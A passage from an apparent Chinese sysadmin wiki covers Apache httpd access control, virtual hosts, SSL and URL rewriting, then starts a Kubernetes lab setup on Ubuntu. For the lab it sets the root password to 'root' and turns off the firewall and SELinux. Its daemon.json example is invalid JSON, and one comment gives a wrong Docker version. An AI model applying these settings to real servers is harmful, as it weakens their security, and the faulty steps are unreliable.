.htpasswd 文件.#<Files ".ht*"> Require all denied</Files>## ErrorLog: 错误日志文件的位置.# 如果在 <VirtualHost> 容器中没有指定 ErrorLog 指令,# 与该虚拟主机相关的错误消息将在此处记录.# 如果您为 <VirtualHost> 容器定义了错误日志文件,# 则该主机的错误将在那里记录,而不是在这里.#ErrorLog "logs/error_log"## LogLevel: 控制记录到 error_log 的消息数量.# 可能的值包括:debug、info、notice、warn、error、crit、alert、emerg.#LogLevel warn<IfModule log_config_module> # # 以下指令定义一些格式的别名,用于与 CustomLog 指令一起使用(参见下文). # LogFormat "%h %l %u %t \\"%r\\" %>s %b \\"%{Referer}i\\" \\"%{User-Agent}i\\"" combined LogFormat "%h %l %u %t \\"%r\\" %>s %b" common <IfModule logio_module> # 您需要启用 mod_logio.c 来使用 %I 和 %O LogFormat "%h %l %u %t \\"%r\\" %>s %b \\"%{Referer}i\\" \\"%{User-Agent}i\\" %I %O" combinedio </IfModule> # # 访问日志文件(通用日志文件格式)的位置和格式. # 如果您没有在 <VirtualHost> 容器内定义任何访问日志文件, # 它们将在此处记录.相反,如果您在每个 <VirtualHost> 容器中定义了独立的访问日志文件, # 事务将在其中记录,而不是在此文件中. # #CustomLog "logs/access_log" common # # 如果您偏好具有访问、代理和引用者信息的日志文件(组合日志文件格式), # 可以使用以下指令. # CustomLog "logs/access_log" combined</IfModule><IfModule alias_module> # # Redirect: 允许您向客户端通知曾经存在于服务器命名空间中但现在不存在的文档. # 客户端将对文档在其新位置重新发起请求. # 示例: # Redirect permanent /foo http://www.example.com/bar # # Alias: 将 Web 路径映射到文件系统路径,用于访问不位于 DocumentRoot 下的内容. # 示例: # Alias /webpath /full/filesystem/path # # 如果在 /webpath 后面加上斜杠,则服务器将要求它在 URL 中存在. # 您还可能需要提供一个 <Directory> 部分来允许访问文件系统路径. # # ScriptAlias: 控制包含服务器脚本的目录. # ScriptAliases 与 Aliases 基本相同,只是目标目录中的文档被视为应用程序,并由服务器在请求时运行,而不是作为发送给客户端的文档. # 与 Alias 指令一样,ScriptAlias 指令也适用于尾部的斜杠规则. # ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"</IfModule>## "/var/www/cgi-bin" 应更改为配置了 ScriptAlias 的 CGI 目录的实际路径.#<Directory "/var/www/cgi-bin"> AllowOverride None Options None Require all granted</Directory><IfModule mime_module> # # TypesConfig 指向包含从扩展名到 MIME 类型的映射列表的文件. # TypesConfig /etc/mime.types # # AddType 允许您添加或覆盖指定文件类型的 MIME 配置文件中的 MIME. # #AddType application/x-gzip .tgz # # AddEncoding 允许您让某些浏览器动态解压缩信息. # 注意:并非所有浏览器都支持此功能. # #AddEncoding x-compress .Z #AddEncoding x-gzip .gz .tgz # # 如果上面的 AddEncoding 指令被注释掉,那么您可能要定义这些扩展名以表示媒体类型: # AddType application/x-compress .Z AddType application/x-gzip .gz .tgz # # AddHandler 允许您将某些文件扩展名映射到"处理程序": # 与文件类型无关的操作.这些可以是服务器内置的,也可以是使用 Action 指令添加的(参见下文). # # 若要在 ScriptAliased 目录以外使用 CGI 脚本: # (您还需要在 "Options" 指令中添加 "ExecCGI".) # #AddHandler cgi-script .cgi # 对于类型映射(可协商的资源): #AddHandler type-map var # # Filters 允许您在将内容发送到客户端之前对其进行处理. # # 若要解析 .shtml 文件以进行服务器端包含(SSI): # (您还需要在 "Options" 指令中添加 "Includes".) # AddType text/html .shtml AddOutputFilter INCLUDES .shtml</IfModule>## 为所有提供的内容指定默认字符集;# 这使得默认情况下将所有内容解释为 UTF-8.# 若要使用默认浏览器选择(ISO-8859-1),# 或者允许 HTML 内容中的 META 标签覆盖此选择,请将该指令注释掉.#AddDefaultCharset UTF-8<IfModule mime_magic_module> # # mod_mime_magic 模块允许服务器使用文件内容本身的各种提示来确定文件类型. # MIMEMagicFile 指令告诉模块提示定义的位置. # MIMEMagicFile conf/magic</IfModule>## 可自定义的错误响应有三种类型:# 1)纯文本 2)本地重定向 3)外部重定向## 一些示例:#ErrorDocument 500 "The server made a boo boo."#ErrorDocument 404 /missing.html#ErrorDocument 404 "/cgi-bin/missing_handler.pl"#ErrorDocument 402 http://www.example.com/subscription_info.html### EnableMMAP 和 EnableSendfile:在支持的系统上,# 可以使用内存映射或 sendfile 系统调用来传送文件.# 这通常提高服务器性能,但在从网络挂载的文件系统中提供服务时,# 或者如果系统不支持这些功能,则必须关闭它们.# 如果被注释,默认值为:EnableMMAP On,EnableSendfile Off.##EnableMMAP offEnableSendfile on# 附加配置## 如果有的话,在"/etc/httpd/conf.d"目录中加载配置文件.IncludeOptional conf.d/*.conf Apache的访问控制基于IP的访问控制12345678910111213141516171819202122232425262728# 先将所有配置恢复至初始,然后配置. yum remove -y httpd*rm -rf /etc/httpd# 如果/etc/httpd/conf.d目录下有welcome.conf文件那么会显示欢迎页面,如果没有会显示拒绝rm -rf /etc/httpd/conf.d/welcome.confvim /etc/httpd/conf/httpd.conf `以下两个二选一``Apache的默认配置并不支持使用CIDR表示法或正则表达式进行IP地址的拒绝.如果希望使用更高级的IP拒绝规则,你可能需要考虑使用专门的防火墙软件或其他网络设备来处理这些规则.`# 拒绝某IP访问 <Directory "/www/html/"> Order Allow,Deny # 表示按照 Allow 和 Deny 的顺序进行访问控制.Allow from All # 允许所有来源的请求访问该目录.Deny from 192.168.0.100 # 拒绝 IP 地址为192.168.0.100的请求访问该目录 </Directory># 允许某IP访问# 请注意,Allow from指令已经在Apache 2.4版本中废弃,推荐使用新的Require指令进行访问控制.如果您使用的是较新的版本,请将配置更新为以下内容:<Directory "/www/html"> Options Indexes FollowSymLinks Require ip 192.168.64.1</Directory># 这将实现相同的效果,只允许来自192.168.64.1的IP地址访问/www/html目录.# 重启服务systemctl restart httpd 基于用户的访问控制12345678910111213141516171819202122232425262728293031323334353637# htpasswd 是一个 Apache Web 服务器提供的工具,用于创建和管理用户名和密码的文件.# -c 是 htpasswd 命令的选项,表示要创建一个新的密码文件,如果文件已存在则会被覆盖.# killer 是用户名,可以根据实际需要替换为你想要创建的用户名.# 最后一个 killer 是密码,表示将要为该用户设置的密码.同样,你可以替换为你自己选择的密码.# 执行上述命令后,将会在执行命令的目录下创建一个名为 "killer" 的密码文件,并在文件中记录所设置的用户名和对应的加密密码.这样,当用户使用该用户名和密码进行身份验证时,Apache 将会验证其凭据是否与密码文件中的匹配.# 进入目录cd /etc/httpd/conf/htpasswd -cm killer killer ##建立用户并设置密码cat killer ##查看该文件vim httpd.conf# 需要将配置文件中的两个<Directory>块都删掉,合并为下面这一个<Directory "/www/html"> AllowOverride None AuthType basic AuthName "Please input your name and password" AuthUserFile /etc/httpd/conf/killer Require valid-user Options Indexes FollowSymLinks</Directory># Require 指令可以接受以下几种值:# Require all granted: 允许所有用户无条件地访问资源.# Require all denied: 禁止所有用户无条件地访问资源.# Require host example.com: 仅允许来自指定主机(例如 example.com)的请求访问资源.# Require ip 192.168.0.1: 仅允许来自指定 IP 地址(例如 192.168.0.1)的请求访问资源.# Require valid-user: 要求用户通过身份验证后才能访问资源.需要用户提供有效的凭据(用户名和密码).# Require user username: 仅允许指定用户名的用户访问资源.# 使用逻辑运算符 and, or, not 来组合多个条件.例如:Require ip 192.168.0.1 and user admin 表示仅允许来自 192.168.0.1 的用户 admin 访问资源. # 重启服务systemctl restart httpd.service Apache的虚拟主机配置 虚拟主机(Virtual Host)是一种在单个物理服务器上托管多个域名或网站的技术.通过虚拟主机,可以将一个物理服务器划分为多个逻辑的虚拟服务器,每个虚拟服务器都可以拥有自己独立的域名、网站和配置. 虚拟主机常见的应用场景包括: 共享主机服务:虚拟主机允许多个用户共享同一台物理服务器,并在各自的虚拟主机中托管自己的网站.这种方式非常适合小型网站、个人博客和中小型企业,因为可以降低成本并提供基本的托管功能. 多域名托管:虚拟主机可以让你在同一台服务器上托管多个域名.这意味着你可以拥有多个网站,并通过虚拟主机将它们隔离开来.每个虚拟主机可以具有独立的域名、独立的文件夹和独立的配置,使得不同网站之间相互独立且互不干扰. 子域名管理:虚拟主机可以用于在同一域名下创建多个子域名,并为每个子域名分配独立的虚拟主机.这对于大型网站或企业来说很有用,因为它们可以将不同的功能或服务划分到不同的子域名下,便于管理和维护. 测试和开发环境:虚拟主机提供了一个方便的方式来创建测试和开发环境.你可以在同一台服务器上创建一个虚拟主机,用于开发和测试你的网站或应用程序,而不会影响生产环境. 总之,虚拟主机是一种有效的方式来提供共享主机服务、多域名托管、子域名管理和测试/开发环境.它允许在单个物理服务器上运行多个独立且隔离的网站,从而提供更高的灵活性和资源利用率. 基于域名 域名 IP www.kgc.com 192.168.226.133 www.kcce.com 192.168.226.133 为虚拟主机提供域名解析123vim /etc/hosts# 文件末尾加入127.0.0.1 www.kgc.com www.kcce.com 为虚拟主机准备网页文档123mkdir -p /var/www/html/kgccom /var/www/html/kccecomecho " www.kgc.com" > /var/www/html/kgccom/index.htmlecho " www.kcce.com " > /var/www/html/kccecom/index.html 添加虚拟主机配置123456789101112131415161718192021vim /etc/httpd/conf.d/httpd-vhosts.conf<VirtualHost *:80> DocumentRoot "/var/www/html/kgccom" ServerName www.kgc.com ErrorLog "logs/www.kgc.com.error_log" CustomLog "logs/www.kgc.com.access_log" common <Directory "/var/www/html/kgccom"> Require all granted </Directory></VirtualHost><VirtualHost *:80> DocumentRoot "/var/www/html/kccecom" ServerName www.kcce.com ErrorLog "logs/www.kcce.com.error_log" CustomLog "logs/www.kcce.com.access_log" common <Directory "/var/www/html/kccecom"> Require all granted </Directory></VirtualHost> 重启Apache服务systemctl restart httpd.service 基于端口基于实验一修改配置文件123456789101112131415161718192021222324252627282930vim /etc/httpd/conf/httpd.conf# /Listen查到到监听端口位置listen 5050listen 8080vim /etc/httpd/conf.d/httpd-vhosts.conf <VirtualHost *:5050> DocumentRoot "/var/www/html/kgccom" ServerName www.kcce.com ErrorLog "logs/www.kgc.com.error_log" CustomLog "logs/www.kgc.com.access_log" common <Directory "/var/www/html"> Require all granted </Directory></VirtualHost><VirtualHost *:8080> DocumentRoot "/var/www/html/kccecom" ServerName www.kcce.com ErrorLog "logs/www.kcce.com.error_log" CustomLog "logs/www.kcce.com.access_log" common <Directory "/var/www/html/kccecom"> Require all granted </Directory></VirtualHost> systemctl restart httpdnetstat -ntap 基于IP此前我们有两张网卡地址分别为:192.168.226.133和192.168.226.134,此处需要用上. 1234567891011121314151617181920212223242526vim /etc/httpd/conf/httpd.conf# 将 Listen 8080 Listen 5050 改为以下Listen 192.168.226.133:80Listen 192.168.226.134:80vim /etc/httpd/conf.d/httpd-vhosts.conf<VirtualHost 192.168.226.133:80> # 此处将*号修改为第一张网卡的IP DocumentRoot "/var/www/html/kccecom/" ErrorLog "logs/www.accp.com.error_log" CustomLog "logs/www.accp.com.access_log" common <Directory "/var/www/html/"> Require all granted </Directory></VirtualHost><VirtualHost 192.168.226.134:80> # 此处将*号改为第二张网卡的IP,并将下面的accp改 DocumentRoot "/var/www/html/kgccom/" ErrorLog "logs/www.accp02.com.error_log" CustomLog "logs/www.accp02.com.access_log" common <Directory "/var/www/html/"> Require all granted </Directory></VirtualHost> https加密访问 HTTPS和HTTP的区别超文本传输协议HTTP协议被用于在Web浏览器和网站服务器之间传递信息.HTTP协议以明文方式发送内容,不提供任何方式的数据加密如果攻击者截取了Web浏览器和网站服务器之间的传输报文,就可以直接读懂其中的信息,因此HTTP协议不适合传输一些敏感信息,比如信用卡号、密码等为了解决HTTP协议的这一缺陷,需要使用另一种协议:安全套接字层超文本传输协议HTTPS.为了数据传输的安全,HTTPS在HTTP的基础上加入了SSL协议,SSL依靠证书来验证服务器的身份,并为浏览器和服务器之间的通信加密.HTTPS和HTTP的区别主要为以下四点:一、https协议需要到ca申请证书,一般免费证书很少,需要交费.二、http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议.三、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443.四、http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全. Apache服务加密1234567891011121314# 想将我的apache服务加密,安装插件mod_ssl yum install mod_ssl -y # 重启服务systemctl restart httpd# 进入目录cd /etc/httpd/conf.d/ # 可以看到 ssl.conf文件 ls# 防火墙放行端口firewall-cmd --zone=public --add-port=443/tcp --permanentfirewall-cmd --reload# 查看https的端口443是否开启netstat -antlupe | grep httpd # 此时,浏览器输入https://192.168.64.169/会发现:授权本部门没有授权(没有备案),认为不安全,所以警示! SSL配置文件解读123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124# 当我们还提供SSL时,除了要监听HTTP端口外,# 还需监听HTTPS端口.Listen 443 https#### SSL全局上下文#### 所有SSL配置都适用于主服务器和所有启用SSL的虚拟主机.### 密码对话框:# 配置密码收集过程.# 过滤对话程序('builtin' 是内部终端对话框)必须将密码提供给标准输出.SSLPassPhraseDialog exec:/usr/libexec/httpd-ssl-pass-dialog# 进程间会话缓存:# 配置SSL会话缓存:首先是使用的机制,# 其次是到期超时时间(以秒为单位).SSLSessionCache shmcb:/run/httpd/sslcache(512000)SSLSessionCacheTimeout 300# 伪随机数生成器(PRNG):# 配置一个或多个用于初始化SSL库PRNG的种子源.# 种子数据应具有良好的随机质量.# 警告!在某些平台上,如果没有足够的熵可用,则/dev/random会阻塞.# 这意味着您不能使用/dev/random设备,# 因为它会导致非常长的连接时间(与# 提供更多熵所需的时间一样长).但通常这些# 平台还提供了一个不会阻塞的/dev/urandom设备.如果有,请使用此设备.请阅读mod_ssl用户# 手册了解更多详细信息.SSLRandomSeed startup file:/dev/urandom 256SSLRandomSeed connect builtin#SSLRandomSeed startup file:/dev/random 512#SSLRandomSeed connect file:/dev/random 512#SSLRandomSeed connect file:/dev/urandom 512## 使用"SSLCryptoDevice"启用任何支持的硬件# 加速器.使用 "openssl engine -v" 列出支持# 的引擎名称.注意:如果启用加速器,但# 服务器无法启动,请查阅错误日志并确保# 您的加速器正常工作.#SSLCryptoDevice builtin#SSLCryptoDevice ubsec#### SSL虚拟主机上下文##<VirtualHost _default_:443># 从全局配置继承的虚拟主机的常规设置ServerName apache_server.killer.com:443DocumentRoot "/www/html"# 为SSL虚拟主机使用单独的日志文件;注意LogLevel# 不会从httpd.conf继承.ErrorLog logs/ssl_error_logTransferLog logs/ssl_access_logLogLevel warn# SSL引擎开关:# 启用/禁用此虚拟主机的SSL.SSLEngine on# SSL协议支持:# 列出客户端将能够连接的启用的协议级别.# 默认禁用SSLv2访问:SSLProtocol all -SSLv2 -SSLv3# SSL加密套件:# 列出客户端允许协商的加密套件.# 有关完整列表,请参阅mod_ssl文档.SSLCipherSuite HIGH:3DES:!aNULL:!MD5:!SEED:!IDEA# 优化速度的SSL加密套件配置:# 如果速度是您的主要关注点(例如在繁忙的HTTPS服务器上),# 您可能希望强制客户端使用特定的、性能优化的加密套件.在这种情况下,将这些加密套件# 添加到SSLCipherSuite列表的前面,并启用SSLHonorCipherOrder.# 注意:通过提前RC4-SHA和AES128-SHA(如下例中所示),# 大多数连接将不再具有完全前向保密性--如果服务器的密钥被# 破解,过去或未来的流量的捕获也必须被视为已被破解.#SSLCipherSuite RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5#SSLHonorCipherOrder on # 服务器证书:# 将SSLCertificateFile指向一个PEM编码的证书.如果# 证书被加密,则会提示您输入密码.# 请注意,kill -HUP命令将再次提示.可以使用genkey(1)命令生成新证书.SSLCertificateFile /etc/pki/tls/certs/apache_server.killer.com.crt# 服务器私钥:# 如果密钥没有与证书合并,请使用此指令指向密钥文件.# 请记住,如果您同时拥有RSA和DSA私钥,# 您可以并行配置两者(以允许使用DSA密码等).SSLCertificateKeyFile /etc/pki/tls/private/apache_server.killer.com.key# 服务器证书链:# 将SSLCertificateChainFile指向一个包含PEM编码的CA证书# 的连接的文件.或者,当CA证书直接附加到服务器# 证书时,引用的文件可以与SSLCertificateFile相同.#SSLCertificateChainFile /etc/pki/tls/certs/server-chain.crt# 证书颁发机构(CA):# 设置CA证书验证路径,以查找CA证书,用于客户端认证,# 或者一个包含所有CA证书的巨大文件(文件必须为PEM编码).#SSLCACertificateFile /etc/pki/tls/certs/ca-bundle.crt# 客户端认证(类型):# 客户端证书验证类型和深度.类型为# none、optional、require和optional_no_ca.深度是指在# 在决定证书无效之前验证证书# 颁发者链的级别.#SSLVerifyClient require#SSLVerifyDepth 10# 访问控制:# 使用SSLRequire可以基于任意复杂的布尔表达式# 包含服务器变量检查和其他查找指令的目录访问控制.# 语法是C和Perl的混合体.有关详 网址重写123456789101112131415161718192021222324252627282930313233# 需求让客户在自己的浏览器中输入http://login.killer.com可以自动跳转到https://login.killer.com# 进入目录cd /etc/httpd/conf.dvim killer.conf<VirtualHost *:80> ServerName login.killer.com RewriteEngine on RewriteRule ^(/.*)$ https://%{HTTP_HOST}$1 [redirect=301]</VirtualHost><VirtualHost *:443> ServerName login.killer.com DocumentRoot /www/html CustomLog logs/login.log combined SSLEngine on SSLCertificateFile /etc/pki/tls/certs/localhost.crt SSLCertificateKeyFile /etc/pki/tls/private/localhost.key</VirtualHost><Directory "/www/html"> Require all granted</Directory># 重启服务,且在本地解析中加入 http://login.killer.com systemctl restart httpd # 输入http://login.killer.com会自动跳转到https://login.killer.com","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"三. 大型分布式k8s集群从入门到精通","path":"/wiki/VirtDocs/三. 大型分布式k8s集群从入门到精通.html","content":"总字符数: 42.50K 代码: 16.25K, 文本: 5.96K 预计阅读时间: 1.61 小时 课程介绍​\tKubernetes(K8s)一个用于容器集群的自动化部署、扩容以及运维的开源平台.通过Kubernetes,你可以快速有效地响应用户需求;快速而有预期地部署你的应用;极速地扩展你的应用;无缝对接新应用功能;节省资源,优化硬件资源的使用.为容器编排管理提供了完整的开源方案. Kubernetes解决了什么问题? 服务器环境 服务器资源管理 服务容灾恢复 硬件资源利用 服务资源创建 可视化管理 服务资源监控 资源整合管理 Kubernetes在容器编排可谓是做到了淋漓尽致,解决了之前的种种痛点,但是学习成本也相对较高,需要结合一定的实践,踩一定的坑才能形成自己的理解. 目标 了解什么是K8s,为什么世界需要它,K8s的工程师又为什么这么抢手. K8s企业环境部署捷径,多Master/node躲坑快速部署. 基于Kubernetes集群管理,kubeadm,kubectl等常见指令使用. 基于Kubernetes快速启动集群Web应用. 一、Kubernetes概述什么是K8sKubernetes(K8s)是Google在2014年发布的一个开源项目. ​\t据说Google的数据中心里运行着20多亿个容器,而且Google十年多前就开始使用容器技术. ​\t最初,Google开发了一个叫Borg的系统(现在命名为Omega)来调度如此庞大数量的容器和工作负载.在积累了这么多年的经验后,Google决定重写这个容器管理系统,并将其贡献到开源社区,让全世界都能受益. ​\t这个项目就是Kubernetes.简单地讲,Kubernetes是Google Omega的开源版本. ​\t从2014年第一个版本发布以来,Kubernetes迅速获得开源社区的追捧,包括Red Hat、VMware、Canonical在内的很多有影响力的公司加入到开发和推广的阵营.目前Kubernetes已经成为发展最快、市场占有率最高的容器编排引擎产品. Kubernetes解决了什么问题 通过 Kubernetes,分布式系统工具将拥有网络效应.每当人们为 Kubernetes 制作出的新的工具,都会让所有其他工具更完善.因此,这进一步巩固了 Kubernetes 的标准地位. 云提供商并非可替换的商品.不同的云提供的服务会变得越来越独特和不同.如果可以访问不同的云提供商提供的不同服务,那么企业将因此受益. 当多节点应用与单节点应用一样可靠时,我们将看到定价模型的变化. 这就是为什么我会被 Kubernetes 洗脑的原因,它是跨越异构系统的一个标准层. 将来,我们会像讨论编译器和操作系统内核一样讨论 Kubernetes. Kubernetes 将会是低层级的管路系统,而不在普通应用开发人员的视野之内. Kubernetes 已成为部署分布式应用的标准方式.在不远的将来,任何新成立的互联网公司都将用到 Kubernetes,无论其是否意识到这点.许多旧应用也正在迁移到 Kubernetes. 起因:Docker 单一稳定的一体化模型 微型化的应用部署模型(微服务、分布式、集群、高可用、负载均衡…) 容器编排?是需要标准的?如此多的docker该如何管理(通信、负载均衡、资源共享管理、容灾、监控、健康检查….)? Mesos docker swarm kubernetes 自2016年中,K8s表现出明显优势. 二、环境部署软件环境版本操作系统: Ubuntu 18.10(本教程采用server版本) Docker:docker-ce 18.06 Kubernetes: K8s 1.21.8 Ubuntu搭建研发环境我们直接下载Unbuntu18.10-server版本,server版本的好处是没有Desktop,可以节省资源. https://mirrors.aliyun.com/oldubuntu-releases/releases/18.10/ubuntu-18.10-live-server-amd64.isohttps://mirrors.aliyun.com/oldubuntu-releases/releases/18.10/ubuntu-18.10-live-server-amd64.iso Ubuntu安装过程创建虚拟机在VMWare 中启动安装虚拟过程 创建新的虚拟机 选择自定义安装 为此虚拟机选择操作系统 Linux Ubuntu 64位 命名为Master 自定设置 存储为UbuntuMaster 2CPU 2048MB 40GB硬盘 使用ISO镜像 建议移除声卡和打印机 图形界面安装方式 选择英文语言 英文键盘 设置您的用户名和密码,下文使用killer killer 系统服务安装清单,一般都是直接选择Done 回车,进入安装模式. 开始安装过程 安装结束后点击重启Reboot Now 准备操作123456789# 修改root密码# 重新启动后登录 用户名 `killer` 密码: `killer`# 确认登录成功后输入sudo passwd root# 然后输入root用户的密码root`设置root用户的密码root,是为了教学过程中简单.但是在生产环境下禁止使用弱强度的密码`# 执行su root使用root用户重新登录 12# 修改主机名称sudo hostnamectl set-hostname master 1234567891011121314151617181920# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.120/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true # 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply 123456789101112131415# 换源# 备份原始源列表文件:使用以下命令备份当前的软件源列表文件,以便恢复到原始状态sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak# 编辑源列表文件:使用文本编辑器(如nano或vi)编辑软件源列表文件.sudo vim /etc/apt/sources.list# 阿里云源deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse# 更新软件包列表:使用以下命令更新新的软件源列表.sudo apt update 三、Docker-CE安装及配置基础准备 Docker 要求 Ubuntu 系统的内核版本高于 3.10 ,查看本页面的前提条件来验证你的 Ubuntu 版本是否支持 Docker. 12sudo uname -r 4.18.0-10-generic 安装curl 1sudo apt-get update && sudo apt-get install -y curl telnet wget man apt-transport-https ca-certificates software-properties-common vim 在线安装Docker-ce1234567# 添加USTC镜像源的GPG密钥sudo curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg# 添加USTC的Docker存储库sudo echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null# 更新apt软件包索引并安装 Docker 引擎指定版本 20.10sudo apt update && sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-cosmic 启动Docker-ce1234567# 开机并启动dockersudo systemctl enable docker sudo systemctl start docker # 确认docker已经运行sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 申请阿里云镜像加速器申请步骤如下 在阿里云注册自己账户 找到容器镜像服务,参考网址如下 https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorshttps://cr.console.aliyun.com/cn-hangzhou/instances/mirrors 点开左侧菜单镜像中心->镜像加速器 右侧加速器地址,即使私人专属的镜像加速器地址,点击复制 Docker配置国内镜像加速器 目的 : 为了下载docker镜像更快 您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器. 创建/etc/docker/daemon.json文件,内容如下: 记得把下方的地址换成自己的,因为下面的地址过期了 12345678910111213sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://lwczusv2c.mirror.aliyuncs.com"]}{ "exec-opts": ["native.cgroupdriver=systemd"]}EOF# 重载所有修改过的配置文件sudo systemctl daemon-reload# 重启Docker服务sudo systemctl restart docker 四、Kubernetes 安装及部署K8s安装环境准备配置并安装K8s国内源 创建配置文件sudo touch /etc/apt/sources.list.d/kubernetes.list 添加写权限 1sudo chmod 666 /etc/apt/sources.list.d/kubernetes.list 再添加,内容如下: 1sudo echo "deb http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial main" >> /etc/apt/sources.list.d/kubernetes.list 执行sudo apt update 更新操作系统源,开始会遇见如下错误 1234567sudo apt updateW: GPG error: http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY B53DC80D13EDEF05E: The repository 'http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial InRelease' is not signed.N: Updating from such a repository can't be done securely, and is therefore disabled by default.N: See apt-secure(8) manpage for repository creation and user configuration details. 其中: 1The following signatures couldn't be verified because the public key is not available: NO_PUBKEY B53DC80D13EDEF05 签名认证失败,需要重新生成.记住上面的NO_PUBKEY B53DC80D13EDEF05 添加认证key 运行如下命令,添加错误中对应的key(错误中NO_PUBKEY后面的key的后8位) 1sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 13EDEF05 接着运行如下命令说明成功,之后进行安装: 1sudo gpg --export --armor 13EDEF05 | sudo apt-key add - 再次重新sudo apt update更新系统下载源数据列表 禁止基础设施1234567891011121314# 禁止防火墙sudo ufw disable# 永久关闭swap分区sudo sed -i 's/.*swap.*/#&/' /etc/fstab# 禁止Selinux# 安装操控selinux的命令sudo apt install -y selinux-utils# 禁止selinuxsudo setenforce 0# 重启操作系统sudo shutdown -r now# 查看selinux是否已经关闭sudo getenforce# Disabled(表示已经关闭) K8s系统网络配置12345678910# 配置内核参数,将桥接的IPv4流量传递到iptables的链sudo vim /etc/sysctl.d/K8s.conf# 添加内容如下net.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1vm.swappiness = 0# 执行命令使修改生效sudo modprobe br_netfiltersudo sysctl -p /etc/sysctl.d/K8s.conf 安装K8s 安装Kubernetes 目前安装版本 v1.21.8 1sudo apt update && sudo apt-get install -y kubelet=1.21.8-00 kubeadm=1.21.8-00 kubectl=1.21.8-00 设置为开机重启 12# 如果是单机部署k8s就需要执行:kubeadm initsudo systemctl enable kubelet && sudo systemctl start kubelet 验证K8s123456# 查看当前K8s版本 sudo kubectl version# 因为咱们是集群环境,没有单机部署,所以没执行kubeadm init导致以下报错# Client Version: version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.8", GitCommit:"4a3b558c52eb6995b3c5c1db5e54111bd0645a64", GitTreeState:"clean", BuildDate:"2021-12-15T14:52:11Z", GoVersion:"go1.16.12", Compiler:"gc", Platform:"linux/amd64"}# The connection to the server localhost:8080 was refused - did you specify the right host or port? 请将Ubuntu关机,并快照 五、创建企业Kubernetes多主机集群环境创建两个节点(两个虚拟机) 在VMWare中创建完整克隆,分别命名为UbuntuNode1和UbuntuNode2 选择Master虚拟机快照,点击第一份快照,选择克隆 选择完整克隆 分别对两个完整克隆的虚拟机进行如下操作,修改主机名称和静态IP UbuntuNode1 1234567891011121314151617181920212223# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.121/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true# 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply# 修改主机名sudo hostnamectl set-hostname node1# su 用户名su killer UbuntuNode2 1234567891011121314151617181920212223# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.122/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true# 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply# 修改主机名sudo hostnamectl set-hostname node2# su 用户名su killer Master和Node基础配置修改hosts文件注意:(Master、Node1、Node2都需要配置) 使用root用户登录 打开hosts文件 sudo vim /etc/hosts 输入如下内容 123192.168.64.120 master192.168.64.121 node1192.168.64.122 node2 重启机器sudo shutdown -r now 配置Master节点创建工作目录12mkdir /home/killer/workingcd /home/killer/working/ 创建kubeadm.conf配置文件 创建K8s的管理工具kubeadm对应的配置文件,候选操作在home/killer/working/目录下 123# 使用kubeadm配置文件,通过在配置文件中指定docker仓库地址,便于内网快速部署.# 生成配置文件sudo kubeadm config print init-defaults --component-configs KubeletConfiguration > kubeadm.conf 修改kubeadm.conf 中的如下两项: 123456 # - imageRepository # - kubernetesVersion vi kubeadm.conf # 修改 imageRepository: K8s.gcr.io # 改为 registry.aliyuncs.com/google_containers imageRepository:registry.aliyuncs.com/google_containers 修改kubeadm.conf中的API服务器地址,后面会频繁使用这个地址. 1234# localAPIEndpoint:localAPIEndpoint: advertiseAddress: 192.168.64.120 bindPort: 6443 注意: 192.168.64.120是master主机的ip地址 配置子网网络 12345networking: dnsDomain: cluster.local podSubnet: 10.244.0.0/16 serviceSubnet: 10.96.0.0/12scheduler: {} 这里的10.244.0.0/16 和 